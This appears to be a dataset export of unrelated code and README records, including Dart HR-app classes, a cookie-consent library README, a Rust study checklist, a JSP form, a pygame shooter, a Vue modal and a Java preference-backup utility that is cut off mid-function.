text
stringlengths
184
4.48M
class RegisterResponse { String _message; bool _status; RegisterData _data; RegisterResponse({String message, bool status, RegisterData data}) { this._message = message; this._status = status; this._data = data; } String get message => _message; set message(String message) => _message = message; bool get status => _status; set status(bool status) => _status = status; RegisterData get data => _data; set data(RegisterData data) => _data = data; RegisterResponse.fromJson(Map<String, dynamic> json) { _message = json['message']; _status = json['status']; _data = json['data'] != null ? new RegisterData.fromJson(json['data']) : null; } Map<String, dynamic> toJson() { final Map<String, dynamic> data = new Map<String, dynamic>(); data['message'] = this._message; data['status'] = this._status; if (this._data != null) { data['data'] = this._data.toJson(); } return data; } } class RegisterData { int _userId; String _accessToken; String _firstName; String _lastName; String _userImage; String _dob; String _emailId; String _currencyCode; String _currencySymbol; RegisterData( {int userId, String accessToken, String firstName, String lastName, String userImage, String dob, String emailId, String currencyCode, String currencySymbol}) { this._userId = userId; this._accessToken = accessToken; this._firstName = firstName; this._lastName = lastName; this._userImage = userImage; this._dob = dob; this._emailId = emailId; this._currencyCode = currencyCode; this._currencySymbol = currencySymbol; } int get userId => _userId; set userId(int userId) => _userId = userId; String get accessToken => _accessToken; set accessToken(String accessToken) => _accessToken = accessToken; String get firstName => _firstName; set firstName(String firstName) => _firstName = firstName; String get lastName => _lastName; set lastName(String lastName) => _lastName = lastName; String get userImage => _userImage; set userImage(String userImage) => _userImage = userImage; String get dob => _dob; set dob(String dob) => _dob = dob; String get emailId => _emailId; set emailId(String emailId) => _emailId = emailId; String get currencyCode => _currencyCode; set currencyCode(String currencyCode) => _currencyCode = currencyCode; String get currencySymbol => _currencySymbol; set currencySymbol(String currencySymbol) => _currencySymbol = currencySymbol; RegisterData.fromJson(Map<String, dynamic> json) { _userId = json['user_id']; _accessToken = json['access_token']; _firstName = json['first_name']; _lastName = json['last_name']; _userImage = json['user_image']; _dob = json['dob']; _emailId = json['email_id']; _currencyCode = json['currency_code']; _currencySymbol = json['currency_symbol']; } Map<String, dynamic> toJson() { final Map<String, dynamic> data = new Map<String, dynamic>(); data['user_id'] = this._userId; data['access_token'] = this._accessToken; data['first_name'] = this._firstName; data['last_name'] = this._lastName; data['user_image'] = this._userImage; data['dob'] = this._dob; data['email_id'] = this._emailId; data['currency_code'] = this._currencyCode; data['currency_symbol'] = this._currencySymbol; return data; } }
import 'dart:convert'; import 'dart:io'; import 'package:dio/dio.dart'; import 'package:talent_link/src/core/resources/data_state.dart'; import 'package:talent_link/src/data/sources/remote/talent_link_hr/requests/leave/leave_api_service.dart'; import 'package:talent_link/src/data/sources/remote/talent_link_hr/requests/leave/model/remote_alternative_employee.dart'; import 'package:talent_link/src/data/sources/remote/talent_link_hr/requests/leave/model/remote_calculate_in_case_new_leave.dart'; import 'package:talent_link/src/data/sources/remote/talent_link_hr/requests/leave/model/remote_leave_types.dart'; import 'package:talent_link/src/data/sources/remote/talent_link_hr/requests/leave/request/alternative_employee_request.dart'; import 'package:talent_link/src/data/sources/remote/talent_link_hr/requests/leave/request/calculate_in_case_new_leave_request.dart'; import 'package:talent_link/src/data/sources/remote/talent_link_hr/requests/leave/request/insert_leave_request.dart'; import 'package:talent_link/src/data/sources/remote/talent_link_hr/requests/leave/request/leave_types_request.dart'; import 'package:talent_link/src/data/sources/remote/talent_link_hr/talent_link_hr_request.dart'; import 'package:talent_link/src/data/sources/remote/talent_link_hr/talent_link_hr_response.dart'; import 'package:talent_link/src/domain/entities/leave/leave_alternative_employee.dart'; import 'package:talent_link/src/domain/entities/request/request_type.dart'; import 'package:talent_link/src/domain/repositories/requests/leave/leave_repository.dart'; class LeaveRepositoryImplementation extends LeaveRepository { final LeaveApiService _leaveApiService; LeaveRepositoryImplementation(this._leaveApiService); @override Future<DataState<List<RequestType>>> leaveTypes( {required int employeeId}) async { try { TalentLinkHrRequest<LeaveTypeRequest> request = await TalentLinkHrRequest<LeaveTypeRequest>() .createRequest(LeaveTypeRequest(employeeId: employeeId)); final httpResponse = await _leaveApiService.leaveTypes(request); if ((httpResponse.data.success ?? false) && (httpResponse.data.statusCode ?? 400) == 200) { return DataSuccess( data: (httpResponse.data.result ?? []).mapLeaveTypesToDomain(), message: httpResponse.data.responseMessage ?? "", ); } return DataFailed( message: httpResponse.data.responseMessage ?? "", ); } on DioException catch (e) { return DataFailed( error: e, message: e.message ?? "", ); } } @override Future<DataState<TalentLinkResponse>> insertLeave( {required InsertLeaveRequest request, File? file}) async { try { TalentLinkHrRequest<InsertLeaveRequest> insertLeaveRequest = await TalentLinkHrRequest<InsertLeaveRequest>() .createRequest(request); late MultipartFile multipartFile; if (file != null && file.path.isNotEmpty) { multipartFile = await MultipartFile.fromFile(file.path, filename: file.path.split('/').last.toString()); } final httpResponse = await _leaveApiService.insertLeave( jsonEncode(insertLeaveRequest.toMap()), file!.path.isNotEmpty ? [multipartFile] : []); if ((httpResponse.data.success ?? false) && (httpResponse.data.statusCode ?? 400) == 200) { return DataSuccess( data: httpResponse.data, message: httpResponse.data.responseMessage ?? "", ); } return DataFailed( message: httpResponse.data.responseMessage ?? "", ); } on DioException catch (e) { return DataFailed( error: e, message: e.message ?? "", ); } } @override Future<DataState<List<LeaveAlternativeEmployee>>> alternativeEmployee() async { try { TalentLinkHrRequest<AlternativeEmployeeRequest> request = await TalentLinkHrRequest<AlternativeEmployeeRequest>() .createRequest(AlternativeEmployeeRequest()); final httpResponse = await _leaveApiService.alternativeEmployee(request); if ((httpResponse.data.success ?? false) && (httpResponse.data.statusCode ?? 400) == 200) { return DataSuccess( data: (httpResponse.data.result ?? []).mapAlternativeEmployeeToDomain(), message: httpResponse.data.responseMessage ?? "", ); } return DataFailed( message: httpResponse.data.responseMessage ?? "", ); } on DioException catch (e) { return DataFailed( error: e, message: e.message ?? "", ); } } @override Future<DataState<TalentLinkResponse<RemoteCalculateInCaseNewLeave>>> calculateInCaseNewLeave({ required CalculateInCaseNewLeaveRequest calculateInCaseNewLeaveRequest, }) async { try { TalentLinkHrRequest<CalculateInCaseNewLeaveRequest> request = await TalentLinkHrRequest<CalculateInCaseNewLeaveRequest>() .createRequest(calculateInCaseNewLeaveRequest); final httpResponse = await _leaveApiService.calculateInCaseNewLeave(request); if ((httpResponse.data.success ?? false) && (httpResponse.data.statusCode ?? 400) == 200) { return DataSuccess( data: httpResponse.data, message: httpResponse.data.responseMessage ?? "", ); } return DataFailed( message: httpResponse.data.responseMessage ?? "", ); } on DioException catch (e) { return DataFailed( error: e, message: e.message ?? "", ); } } }
# Cookie Manager **Helps with managaing first-party client side cookies to adhere to CCPA and GDPR Cookie regulations** # Contents - [Installation](#installation) - [Introduction](#Introduction) - [Methods](#methods) - [Provider](#provider) - [useCookie](#usecookie) - [useHasConsent](#usehasconsent) - [useRequiredCategories](#userequiredcategories) - [useSavedTrackingPreference](#usesavedtrackingpreference) - [useSetTrackingPreference](#usesettrackingpreference) - [useTrackingPreference](#usesettrackingpreference) - [areCookiesEnabled](#arecookiesenabled) - [getDefaultTrackingPreference](#getdefaulttrackingpreference) - [useTrackingManager](#usetrackingmanager) - [isOptOut](#isoptout) - [License](#license) ## Installation Install the package as follows: ```shell yarn add @coinbase/cookie-manager npm install @coinbase/cookie-manager pnpm install @coinbase/cookie-manager ``` ## Introduction `@coinbase/cookie-manager` helps manage the following first party client side cookie categories: - `Necessary Cookies`: Cookies that are necessary for the site to the function - `Performance Cookies`: Cookies that impact site performance and help mesaure performance - `Functional Cookies`: Cookies to improve the functionality of the site - `Targeting Cookies`: Cookies used for advertising and ad targeting The preferences is stored as `cm_eu_preference` cookie in case the user is from EU or as `cm_default_preference` cookie in any other case A `cm_default_preference` cookie looks like the following: ```json { "region": "DEFAULT", "consent": ["necessary", "performance", "functional", "targeting"] } ``` Where region is `DEFAULT` and consent specifies what types of cookie categories the user has given preference too. This is stored as a strictly necessary cookie and has an expiration duration of 1 year. Cookie Manager accepts a config like this: ```typescript import { Framework, Region, TrackerType, TrackingCategory, } from '@coinbase/cookie-manager'; export default { categories: [ { id: TrackingCategory.NECESSARY, required: true, expiry: 365, trackers: [ { id: 'locale', type: TrackerType.COOKIE, expiry: 10, }, ], }, { id: TrackingCategory.PERFORMANCE, expiry: 365, trackers: [ { id: 'some_cookie', type: TrackerType.COOKIE, sessionCookie: true, }, ], }, { id: TrackingCategory.FUNCTIONAL, expiry: 365, trackers: [ { id: 'mode', type: TrackerType.COOKIE, }, ], }, { id: TrackingCategory.TARGETING, expiry: 365, trackers: [ { id: 'id-regex', type: TrackerType.COOKIE, regex: 'id(?:_[a-f0-9]{32}|undefined)(?:.*)', }, ], }, { id: TrackingCategory.DELETE_IF_SEEN, expiry: 0, trackers: [ { id: 'cgl_prog', type: TrackerType.COOKIE, }, ], }, ], geolocationRules: [ { region: Region.DEFAULT, framework: Framework.OPT_OUT, }, { region: Region.EU, framework: Framework.OPT_IN, }, ], }; ``` In this config, under each category you can specify what all cookies that should be allowed. Everything else, if detected will be deleted at an interval of 500 ms. `DELETE_IF_SEEN` can be used to specify the cookies which should be deleted if seen on the browser You can also specify regex for a given cookie as follows: ```json { id: 'id-regex', type: TrackerType.COOKIE, regex: 'id(?:_[a-f0-9]{32}|undefined)(?:.*)', } ``` Any id with `-regex` at the end should contain a `regex` which will be used to match different cookies. In this example: `id_ac7a5c3da45e3612b44543a702e42b01` will also be allowed. You need to specify the retention days for a category using the expiry key as follows: ``` { id: TrackingCategory.NECESSARY, required: true, expiry: 365, trackers: [ { id: 'locale', type: TrackerType.COOKIE, expiry: 10, }, ], } ``` Each cookie by default will inherit its category's retention duration but you can override this by specifying an expiry (in days) for the cookie: ``` { id: 'locale', type: TrackerType.COOKIE, expiry: 10 } ``` If you want a cookie to only be valid for a session, it can optionally be marked as a session cookie as follows: ``` { id: 'some_cookie', type: TrackerType.COOKIE, sessionCookie: true } ``` **Note: Session cookies only last as long as your browser is open and are automatically deleted when a user closes the browser** ## Methods ### Provider The provider must wrap the entire application and only be instantiated once. On mount, it will remove all blocked cookies (i.e. cookies that do not have user consent). It takes the following props: `onError: (error: Error) => void`: Error function `projectName: string`: Current project name `locale: string`: Locale to be displayed `region: 'EU' | 'DEFAULT'`; `DEFAULT` refers to non-EU countries `onPreferenceChange?: (preference: TrackingPreference) => void`: Callback for when user consent preferences change. This will also be called on mount. `config: Config`: Cookie manager config. See [Config](#config) section below `shadowMode?: boolean`: Cookies will not be removed in this mode `log: (str: string, options?: Record<string, any>) => void`: Log function `initialCookieValues?:Record<string, string> `: Useful for server side rendering flows - setting of initial cookie values `initialGPCValue?:boolean`: Useful for server side rendering flows - honoring of Set-GPC header Example usage: ```typescript import { Provider, Region, TrackingCategory, TrackingPreference } from '@coinbase/cookie-manager'; <Provider onError={notifyError} onPreferenceChange={() => {}} locale={localeCode} region={isInEU(locale.country) ? Region.EU : Region.Default} projectName="consumer-marketing" config={cookieManagerConfig} log={eventTracking.track} shadowMode > {children} </Provider> ``` ### useCookie You should replace all usages of setting, removing or getting cookies with the `useCookie` hook. The cookie manager will prevent any non-consented cookies from being set. Passing `undefined` or `null` to the set cookie function will remove that cookie. You can also pass optional parameters to change the cookie properties. It accepts the following props: ``` `cookieName`: Name of the cookie for which you want to perform operations ``` `useCookie` returns the current `cookie` value and a `setCookieFunction` `setCookieFunction` can take in the following props: - `value`: The value to be set for the cookie - `CookieAttributes`: This is optional but you can specify the following properties for a cookie: ```typescript interface CookieAttributes { /** * Define when the cookie will be removed. Value can be a Number * which will be interpreted as days from time of creation or a * Date instance. If omitted, the cookie becomes a session cookie. */ expires?: number | Date; /** * Define the path where the cookie is available. Defaults to '/' */ path?: string; /** * Define the domain where the cookie is available. Defaults to * the domain of the page where the cookie was created. */ domain?: string; /** * A Boolean indicating if the cookie transmission requires a * secure protocol (https). Defaults to false. */ secure?: boolean; /** * Asserts that a cookie must not be sent with cross-origin requests, * providing some protection against cross-site request forgery * attacks (CSRF) */ sameSite?: 'strict' | 'lax' | 'none'; /** * An attribute which will be serialized, conformably to RFC 6265 * section 5.2. */ [property: string]: any; } ``` Example usage: ```typescript import { useCookie } from '@cb/cookie-manager'; const SomeComponent = () => { const [cookie, setCookie] = useCookie('some_cookie'); const handleClick = () => { setCookie('hello') }; return ( <div> <button onClick={handleClick}>Set cookie</button> <span>Current cookie: </span> <span>{cookie}</span> </div> } ``` ### useHasConsent This is a hook for programmatically determining if a tracker (e.g. cookie) has been consented to by the user. ```typescript import { useHasConsent } from '@coinbase/cookie-manager'; const SomeComponent = () => { const hasConsent = useHasConsent('cookie'); return ( <div> {hasConsent && <div> Cookie has consent </div> </div> } ``` ### useRequiredCategories This hook is used to determine which category of cookies is required. Example Usage: ```typescript import { useRequiredCategories, TRACKER_CATEGORIES } from '@coinbase/cookie-manager'; const SomeComponent = () => { const requiredCategories = useRequiredCategories(); return ( <div> <CategoryContainer> {TRACKER_CATEGORIES.map(t => ( <CheckBoxContainer key={t}> <CheckBox disabled={requiredCategories.includes(t)} checked={state.consent.includes(t)} onChange={(val: boolean) => dispatch({ name: t, value: val })} > <CategoryLabel name={t} /> </CheckBox> </CheckBoxContainer> ))} </CategoryContainer> </div> } ``` ### useSavedTrackingPreference This hook is used to retrieve the saved cookie preference in cache Example Usage: ```typescript import { useSavedTrackingPreference } from '@coinbase/cookie-manager'; const SomeComponent = () => { const preference = useSavedTrackingPreference(); return ( <div> {preference} </div> ) } ``` ### useSetTrackingPreference This hook is used to set the saved cookie preference in cache Example Usage: ```typescript import { useSetTrackingPreference, Region, TrackingCategory } from '@coinbase/cookie-manager'; const SomeComponent = () => { const setTrackingPreference = useSetTrackingPreference(); const handleSave = useCallback(() => { setTrackingPreference({ region: Region.Default, consent: [TrackingCategory.Functional], }); console.log('cookie_consent_manager_saved_tapped'); }, [setTrackingPreference]); return ( <div> <Button onClick={handleSave} large> Save Preference </Button> </div> ) } ``` ### useTrackingPreference This hook returns the cached preference and if no preference is cached, it returns the default preference based on user's region Example Usage: ```typescript import { useTrackingPreference } from '@coinbase/cookie-manager'; const SomeComponent = () => { const initialTrackingPreference = useTrackingPreference(); return ( <div> {initialTrackingPreference} </div> ) } ``` ### areCookiesEnabled This hook is used to determine if cookies have been enabled on user's browser Example usage: ```typescript import { areCookiesEnabled } from '@coinbase/cookie-manager'; const SomeComponent = () => { const enabled = areCookiesEnabled(); return ( <div> {enabled? <div> Cookies Enabled </div> : <div> Cookies not enabled </div>} </div> ) } ``` ### getDefaultTrackingPreference This hook is used to retrieve the default tracking preference for a given user based on their region Example usage: ```typescript import { getDefaultTrackingPreference } from '@coinbase/cookie-manager'; const SomeComponent = () => { const preference = getDefaultTrackingPreference(); return ( <div> {preference} </div> ) } ``` ### useTrackingManager This hook is used to return `TrackingManagerDependencies` which includes all the values/methods which were passed into Cookie Manager Provider Example usage: ```typescript import { isOptOut, useTrackingManager } from '@coinbase/cookie-manager'; const SomeComponent = () => { const { region } = useTrackingManager(); const optOut = isOptOut(region); return ( <div> `Region for the given user is ${region}` </div> ) } ``` ### isOptOut Used for determining if the current region is using the `optOut` framework It follows the following logic in order: - If there's no geolocation rule for the specified region then use the rule for DEFAULT region - Otherwise use the following rules: - optIn: Users must opt in to tracking (EU) - optOut: Users must opt out of tracking (non-EU) Example usage: ```typescript import { isOptOut, useTrackingManager } from '@coinbase/cookie-manager'; const SomeComponent = () => { const { region } = useTrackingManager(); const optOut = isOptOut(region); return ( <div> {isOptOut ? <div> In default region </div> : <div> In Eu </div>} </div> ) } ``` ## License Licensed under the Apache License. See [LICENSE](./LICENSE.md) for more information.
# Learning Rust Repo I'm using this repository to register what I learn while I study rust. I'm using the [rust documentation](https://doc.rust-lang.org/book/title-page.html). ## Documentation completion status 1. Getting Started :ballot_box_with_check: 1. Installation :ballot_box_with_check: 2. Hello, World! :ballot_box_with_check: 3. Hello, Cargo! :ballot_box_with_check: 2. Programming a Guessing Game :ballot_box_with_check: 3. Common Programming Concepts :ballot_box_with_check: 1. Variables and Mutability :ballot_box_with_check: 2. Data Types :ballot_box_with_check: 3. Functions :ballot_box_with_check: 4. Comments :ballot_box_with_check: 5. Control Flow :ballot_box_with_check: 4. Understanding Ownership :ballot_box_with_check: 1. What is Ownership? :ballot_box_with_check: 2. References and Borrowing :ballot_box_with_check: 3. The Slice Type :ballot_box_with_check: 5. Using Structs to Structure Related Data :ballot_box_with_check: 1. Defining and Instantiating Structs :ballot_box_with_check: 2. An Example Program Using Structs :ballot_box_with_check: 3. Method Syntax :ballot_box_with_check: 6. Enums and Pattern Matching :ballot_box_with_check: 1. Defining an Enum :ballot_box_with_check: 2. The match Control Flow Construct :ballot_box_with_check: 3. Concise Control Flow with if let :ballot_box_with_check: 7. Managing Growing Projects with Packages, Crates, and Modules :ballot_box_with_check: 1. Packages and Crates :ballot_box_with_check: 2. Defining Modules to Control Scope and Privacy :ballot_box_with_check: 3. Paths for Referring to an Item in the Module Tree :ballot_box_with_check: 4. Bringing Paths Into Scope with the use Keyword :ballot_box_with_check: 5. Separating Modules into Different Files :ballot_box_with_check: 8. Common Collections :hourglass_flowing_sand: 1. Storing Lists of Values with Vectors :ballot_box_with_check: 2. Storing UTF-8 Encoded Text with Strings :ballot_box_with_check: 3. Storing Keys with Associated Values in Hash Maps :ballot_box_with_check: 9. Error Handling :hourglass_flowing_sand: 1. Unrecoverable Errors with panic! :ballot_box_with_check: 2. Recoverable Errors with Result :ballot_box_with_check: 3. To panic! or Not to panic! :hourglass_flowing_sand: 10. Generic Types, Traits, and Lifetimes 1. Generic Data Types 2. Traits: Defining Shared Behavior 3. Validating References with Lifetimes 11. Writing Automated Tests 1. How to Write Tests 2. Controlling How Tests Are Run 3. Test Organization 12. An I/O Project: Building a Command Line Program 1. Accepting Command Line Arguments 2. Reading a File 3. Refactoring to Improve Modularity and Error Handling 4. Developing the Library’s Functionality with Test Driven Development 5. Working with Environment Variables 6. Writing Error Messages to Standard Error Instead of Standard Output 13. Functional Language Features: Iterators and Closures 1. Closures: Anonymous Functions that Capture Their Environment 2. Processing a Series of Items with Iterators 3. Improving Our I/O Project 4. Comparing Performance: Loops vs. Iterators 14. More about Cargo and Crates.io 1. Customizing Builds with Release Profiles 2. Publishing a Crate to Crates.io 3. Cargo Workspaces 4. Installing Binaries from Crates.io with cargo install 5. Extending Cargo with Custom Commands 15. Smart Pointers 1. Using Box<T> to Point to Data on the Heap 2. Treating Smart Pointers Like Regular References with the Deref Trait 3. Running Code on Cleanup with the Drop Trait 4. Rc<T>, the Reference Counted Smart Pointer 5. RefCell<T> and the Interior Mutability Pattern 6. Reference Cycles Can Leak Memory 16. Fearless Concurrency 1. Using Threads to Run Code Simultaneously 2. Using Message Passing to Transfer Data Between Threads 3. Shared-State Concurrency 4. Extensible Concurrency with the Sync and Send Traits 17. Object Oriented Programming Features of Rust 1. Characteristics of Object-Oriented Languages 2. Using Trait Objects That Allow for Values of Different Types 3. Implementing an Object-Oriented Design Pattern 18. Patterns and Matching 1. All the Places Patterns Can Be Used 2. Refutability: Whether a Pattern Might Fail to Match 3. Pattern Syntax 19. Advanced Features 1. Unsafe Rust 2. Advanced Traits 3. Advanced Types 4. Advanced Functions and Closures 5. Macros 20. Final Project: Building a Multithreaded Web Server 1. Building a Single-Threaded Web Server 2. Turning Our Single-Threaded Server into a Multithreaded Server 3. Graceful Shutdown and Cleanup 21. Appendix 1. A - Keywords 2. B - Operators and Symbols 3. C - Derivable Traits 4. D - Useful Development Tools 5. E - Editions 6. F - Translations of the Book 7. G - How Rust is Made and “Nightly Rust”
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <%@ taglib uri="http://java.sun.com/jsp/jstl/core" prefix="c"%> <%@ taglib uri="http://www.springframework.org/tags/form" prefix="form"%> <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>자동차 등록</title> </head> <body> <link href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-GLhlTQ8iRABdZLl6O3oVMWSktQOp6b7In1Zl3/Jr59b6EGGoI1aFkw7cmDA6j6gD" crossorigin="anonymous"> <nav class="navbar navbar-expand navbar-dark bg-dark" aria-label="Second navbar example"> <div class="container-fluid"> <a class="navbar-brand" href="#">CarShop</a> <button class="navbar-toggler" type="button" data-bs-toggle="collapse" data-bs-target="#navbarsExample02" aria-controls="navbarsExample02" aria-expanded="false" aria-label="Toggle navigation"> <span class="navbar-toggler-icon"></span> </button> <div class="collapse navbar-collapse" id="navbarsExample02"> <ul class="navbar-nav me-auto"> <li class="nav-item"><a class="nav-link active" aria-current="page" href="/">홈</a></li> <li class="nav-item"><a class="nav-link" href="/cars">차량 보기</a></li> <li class="nav-item"><a class="nav-link" href="/add">차량 등록</a></li> <li class="nav-item"><a class="nav-link" href="/boards">게시판</a> </li> </ul> <form role="search"> <input class="form-control" type="search" placeholder="Search" aria-label="Search"> </form> </div> </div> </nav> <div class="alert alert-dark"> <div class="container"> <h1>차량 등록</h1> </div> </div> <form:form modelAttribute="NewCar" class="form-horizontal"> <fieldset> <legend>${addTitle}</legend> 자동차 ID : <form:input path="cid" class="form-control"/> 자동차 이름 : <form:input path="cname" class="form-control"/> 자동차 가격 : <form:input path="cprice" class="form-control"/> 자동차 카테고리 : <form:input path="ccate" class="form-control"/> 자동차 소개 : <form:textarea path="cdesc" cols="50" rows="2" class="form-control"/> <input type="submit" class="btn btn-primary" value="등록"/> </fieldset> </form:form> <script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.bundle.min.js" integrity="sha384-w76AqPfDkMBDXo30jS1Sgez6pr3x5MlQ1ZAGC+nuZB+EYdgRZgiwxhTBTkF7CXvN" crossorigin="anonymous"></script> </body> </html>
import pygame import random import math from pygame import mixer pygame.init() screen = pygame.display.set_mode((800, 600)) background = pygame.image.load('background_image.jpg') #player playerImage = pygame.image.load('space-invaders.png') playerX = 370 playerY = 480 playerX_change = 0.3 #Enemy enemyImage = [] enemyX = [] enemyY = [] enemyX_change = [] enemyY_change = [] number_of_enemies = 6 #score value score_value = 0 font = pygame.font.Font('freesansbold.ttf', 32) textX = 10 textY = 10 def show_score(x, y): score = font.render("Score: " + str(score_value), True, (255,255,255)) screen.blit(score, (x, y)) game_font = pygame.font.Font('freesansbold.ttf', 64) def game_over_text(): over_score = game_font.render("Game Over",True, (255,255,255)) screen.blit(over_score,(200, 250)) #Background Music mixer.music.load('background.wav') mixer.music.play(-1) for i in range(number_of_enemies): enemyImage.append(pygame.image.load('final-boss.png')) enemyX.append(random.randint(0, 700)) enemyY.append(random.randint(50, 150)) enemyX_change.append(1) enemyY_change.append(40) #Bullet bulletImage = pygame.image.load('bullet.png') bulletX = 0 bulletY = 480 bulletX_change = 0 bulletY_change = 1.5 bullet_state = "ready" score = 0 def player(x, y): screen.blit(playerImage, (x, y)) def enemy(x, y, i): screen.blit(enemyImage[i], (x, y)) def bullet(x, y): global bullet_state bullet_state = "fire" screen.blit(bulletImage, (x + 16, y + 10)) def isCollision(enemyX, enemyY, bulletX, bulletY): distance = math.sqrt((math.pow(enemyX - bulletY, 2)) + (math.pow(enemyY - bulletY, 2))) if distance < 27: return True else: return False running = True while running: screen.fill((0,0,0)) screen.blit(background, (0,0)) for event in pygame.event.get(): if event.type == pygame.QUIT: running = False if event.type == pygame.KEYDOWN: if event.key == pygame.K_LEFT: playerX_change = -1 if event.key == pygame.K_RIGHT: playerX_change = 1 if event.key == pygame.K_SPACE: bullet_Sound = mixer.Sound('laser.wav') bullet_Sound.play() if bullet_state == "ready": bulletX = playerX bullet(bulletX, bulletY) if event.type == pygame.KEYUP: if event.key == pygame.K_LEFT or event.key == pygame.K_RIGHT: playerX_change = 0 playerX += playerX_change if playerX <= 0: playerX = 0 elif playerX >= 730: playerX = 730 for i in range(number_of_enemies): if enemyY[i] > 200: for j in range(number_of_enemies): enemyY[i] = 2000 game_over_text() break enemyX[i] += enemyX_change[i] if enemyX[i] <= 0: enemyX_change[i] = 1 enemyY[i] += enemyY_change[i] elif enemyX[i] >= 730: enemyX_change[i] = -1 enemyY[i] += enemyY_change[i] # collision collision = isCollision(enemyX[i], enemyY[i], bulletX, bulletY) if collision: collision_sound = mixer.Sound('explosion.wav') collision_sound.play() bulletY = 480 bullet_state = "ready" score_value += 1 enemyX[i] = random.randint(0, 700) enemyY[i] = random.randint(50, 150) enemy(enemyX[i], enemyY[i], i) #Bullet Movement if bulletY <= 0: bulletY = 480 bullet_state = "ready" if bullet_state == "fire": bullet(bulletX, bulletY) bulletY -= bulletY_change player(playerX, playerY) show_score(textX, textY) pygame.display.update()
<template> <a-modal open :footer="null" @close="emit('modalIsClose')" > <div class="app-admin-edit-product-add-option-item-modal add-option-item-modal"> <a-input-group size="large" class="add-option-item-modal__fields"> <a-row :gutter="8"> <a-col :sm="24" :md="12"> <a-input v-model:value="addNewItemData.label.value" :status="addNewItemData.label.errors.length ? 'error' : ''" :placeholder="addNewItemData.label.errors[0] || 'label'" @change="filedInput" /> </a-col> <a-col :sm="24" :md="12"> <a-input v-model:value="addNewItemData.value.value" :status="addNewItemData.value.errors.length ? 'error' : ''" :placeholder="addNewItemData.value.errors[0] || 'value'" @change="filedInput" /> </a-col> </a-row> </a-input-group> <div class="add-option-item-modal__actions"> <a-button :disabled="addNewItemSubmitIsDisabled" @click="submitAddNewOptionToGroup" > Submit </a-button> </div> </div> </a-modal> </template> <script setup lang="ts"> // Node Deps import { object, string } from 'yup' // Pinia Stores import { useAdminStore } from '~/store/user/admin' // Api Methods import { addItemToOptionGroup } from '~/api/product/configurable/addItemToOptionGroup' interface Props { addedItemGroupId: number } interface Emits { (name: 'modalIsClose'): () => void, (name: 'formIsSubmit'): () => void, } const emit = defineEmits<Emits>() const props = defineProps<Props>() const { addedItemGroupId } = toRefs(props) const adminStore = useAdminStore() const validationSchema = useForm({ validationSchema: toTypedSchema( object({ label: string().required(), value: string().required(), }), ), }) const addNewItemSubmitIsDisabled = ref(true) const addNewItemData = reactive({ label: useField('label'), value: useField('value'), }) const filedInput = () => { if (Object.values(validationSchema.errorBag.value).length) { addNewItemSubmitIsDisabled.value = true return } addNewItemSubmitIsDisabled.value = false } const submitAddNewOptionToGroup = async () => { try { if (addNewItemSubmitIsDisabled.value || !addedItemGroupId.value) { return } addNewItemSubmitIsDisabled.value = true const optionItemData = await addItemToOptionGroup( addedItemGroupId.value, { label: addNewItemData.label.value as string, value: addNewItemData.value.value as string, }, ) if (!optionItemData) { return } adminStore.addOptionToGroupByGroupId(optionItemData) validationSchema.resetForm() emit('formIsSubmit') } catch (error) { throw error } } </script> <style lang="scss"> .app-admin-edit-product-add-option-item-modal { padding: 1.5rem 0; .ant-row { width: 100%; } .add-option-item-modal__actions { padding: 0 0.5rem; margin-top: 0.5rem; display: flex; align-items: center; justify-content: flex-end; } } </style>
package com.example.hikerview.utils; import android.app.Activity; import android.content.Context; import android.os.Handler; import android.os.Looper; import android.util.Log; import android.widget.Toast; import com.alibaba.fastjson.JSON; import com.annimon.stream.Stream; import com.example.hikerview.ui.Application; import com.example.hikerview.ui.browser.model.JSManager; import com.example.hikerview.ui.view.colorDialog.PromptDialog; import com.lxj.xpopup.XPopup; import org.litepal.LitePal; import java.io.File; import java.io.IOException; import java.util.ArrayList; import java.util.Collection; import java.util.HashSet; import java.util.List; import java.util.Map; import java.util.Set; import timber.log.Timber; /** * 作者:By 15968 * 日期:On 2019/12/1 * 时间:At 14:51 */ public class BackupUtil { private static final String TAG = "BackupUtil"; public static void scanFilesToPaths(Context context, Collection<String> filePaths) { String shared_prefs = UriUtils.getCacheDir(context) + File.separator + "shared_prefs.zip"; FileUtil.deleteFile(shared_prefs); try { String prefs = PreferenceMgr.getFilesDir(context); File dir = new File(prefs); if (dir.exists()) { File[] files = dir.listFiles(); if (files != null) { List<File> files1 = Stream.of(files) .filter(it -> it.getName().endsWith(".xml") && !it.getName().startsWith("x5_") && !it.getName().startsWith("tbs") && !it.getName().startsWith("TBS") && !it.getName().startsWith("litepal") && !it.getName().startsWith("tsui") && !it.getName().startsWith("plugin") && !it.getName().startsWith("debug") && !it.getName().startsWith("info") && !it.getName().startsWith("multi_") && !it.getName().startsWith("qb_") && !it.getName().startsWith("sai") && !it.getName().startsWith("Classics") && !it.getName().startsWith("umeng") && !it.getName().startsWith("WebView") && !it.getName().startsWith("turi") && !it.getName().startsWith("Bugly") && !it.getName().startsWith("umdat") && !it.getName().startsWith("uifa")) .toList(); try { String pdir = UriUtils.getCacheDir(context) + File.separator + "shared_prefs"; File d = new File(pdir); if (d.exists()) { FileUtil.deleteDirs(pdir); } d.mkdirs(); Set<String> paths = new HashSet<>(); for (File value : files1) { String name = value.getName(); name = name.substring(0, name.lastIndexOf(".")); Map<String, ?> all = PreferenceMgr.all(context, name); File file = new File(pdir + File.separator + name + ".json"); FileUtil.stringToFile(JSON.toJSONString(all), file.getAbsolutePath()); paths.add(file.getAbsolutePath()); } if (ZipUtils.zipFiles(paths, shared_prefs)) { filePaths.add(shared_prefs); } } catch (Exception e) { Timber.e(e, "shared_prefsZip: "); } } } } catch (Throwable throwable) { throwable.printStackTrace(); ThreadTool.INSTANCE.runOnUI(() -> ToastMgr.shortBottomCenter(context, "获取配置目录失败")); } } public static void recoverPrefs(Context context, String fileDirPath) { try { File rulesFile = new File(fileDirPath + File.separator + "shared_prefs.zip"); if (rulesFile.exists()) { //新版带规则文件 String rulesDir = fileDirPath + File.separator + "shared_prefs"; ZipUtils.unzipFile(rulesFile.getAbsolutePath(), rulesDir); String prefs = PreferenceMgr.getFilesDir(context); FileUtil.copyDirectiory(prefs, rulesDir); File[] files = (new File(rulesDir)).listFiles(); if (files == null) { return; } for (File value : files) { if (value.isFile() && value.getName().endsWith(".json")) { String name = value.getName(); name = name.substring(0, 